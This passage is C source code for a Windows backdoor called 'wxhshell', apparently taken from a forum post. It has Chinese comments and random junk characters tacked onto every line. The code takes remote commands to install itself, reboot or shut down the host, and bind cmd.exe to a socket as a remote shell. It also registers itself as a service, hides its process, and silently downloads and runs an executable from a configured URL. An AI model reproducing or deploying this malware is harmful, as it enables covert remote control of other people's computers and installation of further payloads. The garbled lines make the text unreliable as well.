      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qF-@V25P  
    break; W= qVc  
  } j578)!aJ  
  // 安装 {_Rr 6  
  case 'i': { s^uS1  
    if(Install()) M |`U"vO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `LE6jp3,  
    else j*jo@N |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }\:Nu Tf  
    break; G&V/Gj8  
    } iBgx  
  // 卸载 "z=SO1  
  case 'r': { [>%xd)8.c  
    if(Uninstall()) g:dH~>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2!J&+r  
    else  K;z7/[%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uu(SR/R}  
    break; V<uR>TD(  
    } 2=`o_<P'"  
  // 显示 wxhshell 所在路径 M`i\VG  
  case 'p': { {I#]@,  
    char svExeFile[MAX_PATH]; mFaZio0GK  
    strcpy(svExeFile,"\n\r"); D(RTVef  
      strcat(svExeFile,ExeFile); c%G{#}^2  
        send(wsh,svExeFile,strlen(svExeFile),0); /M4{Wc  
    break; T iiWp!mX  
    } H>B&|BO_[  
  // 重启 {U m)15K  
  case 'b': { UsQ+`\|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;J2zp*|  
    if(Boot(REBOOT)) ssRbhlD/*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:}r5S) 4  
    else { k$J zH$  
    closesocket(wsh); [knN:{ l  
    ExitThread(0); r^paD2&}  
    } ~%=MpQ3  
    break; 5r8< 7g:>C  
    } [8,yF D_U  
  // 关机 Slher0.Y  
  case 'd': { \BZhf?9U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]d0tE?9  
    if(Boot(SHUTDOWN)) Xudg2t)+K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ua]o6GlO  
    else { _EMwm&!  
    closesocket(wsh); \uC15s<  
    ExitThread(0); u!X|A`o5i  
    } qHrA%k^!2O  
    break; DSk/q-'u  
    } F,dx2ZPIs?  
  // 获取shell 5^lxj~ F  
  case 's': { V7P&%oz{C  
    CmdShell(wsh); s1NKLt  
    closesocket(wsh); FUjl8b-|  
    ExitThread(0); W 7\f1}]H  
    break; }w<7.I  
  } S.m{eur!,E  
  // 退出 ,J>5:ht(6  
  case 'x': { 3.W@ }   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3#&7-o  
    CloseIt(wsh); | >htvDL  
    break; LBsluT  
    } |J} Mgb-4  
  // 离开 RyK\uv  
  case 'q': { 5Z\#0":e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ws|;  `  
    closesocket(wsh); L>%o[tS  
    WSACleanup(); s6zNV4  
    exit(1); J}+6UlD  
    break; 6&l+0dq  
        } rIh l.5Y  
  } i2(1ki/|O  
  } s,n0jix@  
`gb5 "`EZ  
  // 提示信息 ez^@NK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %S nd\  
} lM{ +!-G,  
  } NchXt6$i9  
xJZ>uTN  
  return; <'Wo@N7  
} J<maQ6p  
>U*T0FL7  
// shell模块句柄 (egzH?  
int CmdShell(SOCKET sock) D'A/wG  
{  !@'6)/  
STARTUPINFO si; oMTf"0EIW  
ZeroMemory(&si,sizeof(si)); JJ'.((  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *B{j.{ p(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [E JQ>?D  
PROCESS_INFORMATION ProcessInfo; C@W"yYt  
char cmdline[]="cmd"; ,o,I5>`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ICkp$u^  
  return 0; 0B@Jity#!  
} Qj6/[mUr~  
p2udm!)J  
// 自身启动模式 y+6o{`0  
int StartFromService(void) pg%aI,  
{ )>-ibf`#?  
typedef struct K7Wk6Aw  
{ glXZZ=j  
  DWORD ExitStatus; iN0nw]_*  
  DWORD PebBaseAddress; "D=P8X&vs  
  DWORD AffinityMask; '-b*EZU8t  
  DWORD BasePriority; zs*L~_K  
  ULONG UniqueProcessId; (RZD'U/B  
  ULONG InheritedFromUniqueProcessId; EEZw_ 1  
}   PROCESS_BASIC_INFORMATION; Yf~{I-|`q  
@kU@N?5e  
PROCNTQSIP NtQueryInformationProcess; bk^TFE1l  
J6G(_(d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +d!v}aJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %\r!7@Q  
.h5[Q/*h  
  HANDLE             hProcess; .]7Qu;L  
  PROCESS_BASIC_INFORMATION pbi; )R  2.  
HcV"X,7S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); snnbb0J  
  if(NULL == hInst ) return 0; q)vplV1A  
sx51X^d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "=za??\K}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iVTGF<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Oq +IA~9  
X>. NFB  
  if (!NtQueryInformationProcess) return 0; 15o?{=b[  
d[^~'V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -s$F&\5by  
  if(!hProcess) return 0; QtqfG{  
B0!"A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bv. `R0e&  
`z )N,fF  
  CloseHandle(hProcess); 1YJC{bO  
FH%GIi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !o+_T?  
if(hProcess==NULL) return 0; ]mXLg:3B  
|7pR)KH3  
HMODULE hMod; \Z/)Y;|mi0  
char procName[255]; ]&{ci  
unsigned long cbNeeded; 0,Y5KE{  
AT)a :i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {$^DMANDx  
gzD@cx?V  
  CloseHandle(hProcess); 0 Ir<y  
Gkxj?)`  
if(strstr(procName,"services")) return 1; // 以服务启动 ;6{@^  
N**g]T 0`  
  return 0; // 注册表启动 p6XtTx  
} R$Tp8G>j  
Ze3X$%kWi  
// 主模块 S#Sb]  
int StartWxhshell(LPSTR lpCmdLine) MqA`yvQm  
{ &0BdUU+:<  
  SOCKET wsl; y&=ALx@  
BOOL val=TRUE; (V%`k'N7f  
  int port=0; d k<XzO~g  
  struct sockaddr_in door; NwR}yb6  
Z@%HvB7  
  if(wscfg.ws_autoins) Install(); 9bq<GC'eX8  
eD Z8w  
port=atoi(lpCmdLine); 0W()lQ   
Q;J`Q wkH  
if(port<=0) port=wscfg.ws_port; 6q6FB  
%F*|;o7s  
  WSADATA data; *d',Vuv&[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d'Axum@  
c9nH}/I_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .ol'.t ,S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T!}[yW  
  door.sin_family = AF_INET; UD y(v]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AVU>+[.=%c  
  door.sin_port = htons(port); 9A7@ 5F  
5+jf/}t A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [ dE.[  
closesocket(wsl); @Ehn(}  
return 1; kY&h~Q  
} =@5x"MOz  
v^7LctcVm  
  if(listen(wsl,2) == INVALID_SOCKET) { EK$Kee}~  
closesocket(wsl); vHE^"l5v  
return 1; K!mOr  
} &h,5:u  
  Wxhshell(wsl); ,*@AX>  
  WSACleanup(); NCf"tK'5n  
,xT?mt}P  
return 0; e%>b+ Sv  
\OpoBXh  
} *I?Eb-!t  
T4;T6 9j;,  
// 以NT服务方式启动 @&hnL9D8lL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 45H!;Q sk  
{ ec|/ /  
DWORD   status = 0; >u(>aV|A  
  DWORD   specificError = 0xfffffff; vkRi5!bR  
:p4"IeKs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L~^*u_U]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M-uMZQ e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lRP1&FH0  
  serviceStatus.dwWin32ExitCode     = 0; B,(Heg  
  serviceStatus.dwServiceSpecificExitCode = 0; cubk]~VD  
  serviceStatus.dwCheckPoint       = 0; n!E2_  
  serviceStatus.dwWaitHint       = 0; T=YzJyQC)  
**[Z^$)u(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X{-9FDW  
  if (hServiceStatusHandle==0) return; 9Of FM9(:  
fXQiNm[P  
status = GetLastError(); ;*[9Q'lI*  
  if (status!=NO_ERROR) 1SV^){5I  
{ NS,5/t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z2bcCIq4  
    serviceStatus.dwCheckPoint       = 0; i$KpDXP\  
    serviceStatus.dwWaitHint       = 0; OlQ,Ce  
    serviceStatus.dwWin32ExitCode     = status; 4E:bp   
    serviceStatus.dwServiceSpecificExitCode = specificError; W];EKj,3W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &wetzC )  
    return; BD#.-xWV  
  } e|r0zw S  
ARfRsPxr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i NWC6y  
  serviceStatus.dwCheckPoint       = 0; -NBiW6b~  
  serviceStatus.dwWaitHint       = 0; ,A5)<}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %:qoV0DR  
} @)8]e S7  
7CB#YP?E  
// 处理NT服务事件,比如:启动、停止 =qvZpB7ZZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w h$jr{  
{ i(6J>^I  
switch(fdwControl) Kt.~aaG_  
{ n!He&  
case SERVICE_CONTROL_STOP: sxED7,A  
  serviceStatus.dwWin32ExitCode = 0; *xM/ ;)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &VWlt2-R0h  
  serviceStatus.dwCheckPoint   = 0; Cv=GZGn-  
  serviceStatus.dwWaitHint     = 0; b]]N{: I  
  { t^tCA -  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |@o6NZ<9N  
  } 4o9$bv  
  return; Jll-X\O`-  
case SERVICE_CONTROL_PAUSE: ,c)g,J9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UlQQP^Na  
  break; .%0ne:5  
case SERVICE_CONTROL_CONTINUE: Z]:BYX'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yD)"c .  
  break; " B@jfa%  
case SERVICE_CONTROL_INTERROGATE: pyW u9  
  break; =<<3Pkv7@  
}; e"+dTq8W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hQgN9S5P  
} S9Yt1qb  
3#<* k>1G?  
// 标准应用程序主函数 |&hU=J o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0D)`2W  
{ Z]-WFU_ N  
s!6=|SS7  
// 获取操作系统版本 p#_[  
OsIsNt=GetOsVer(); xT F=Y_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 04 y!\  
CM~MoV[k7e  
  // 从命令行安装 h#3m4<w(9  
  if(strpbrk(lpCmdLine,"iI")) Install(); e4qj .b  
mT_GrIl[  
  // 下载执行文件 CJq c\I~  
if(wscfg.ws_downexe) { dA#{Cn;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F1A1@{8bN  
  WinExec(wscfg.ws_filenam,SW_HIDE); `% E9xcD%  
} "~p+0Xws9  
G+Dpma ]  
if(!OsIsNt) { ;WI]vn  
// 如果时win9x,隐藏进程并且设置为注册表启动 te2 Iu%5 z  
HideProc(); '.p? 6k!K  
StartWxhshell(lpCmdLine); BQjam+u6  
} Qm);6X   
else C;sgK  
  if(StartFromService()) YlUpASW  
  // 以服务方式启动 S]yvMj_?  
  StartServiceCtrlDispatcher(DispatchTable); #Mi|IwL  
else ^&:'NR  
  // 普通方式启动 O2H/rFx4  
  StartWxhshell(lpCmdLine); FWTx&Ip  
MtG_9-  
return 0; 2;N@aZX  
}
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只看该作者 1 发表于: 2006-10-10
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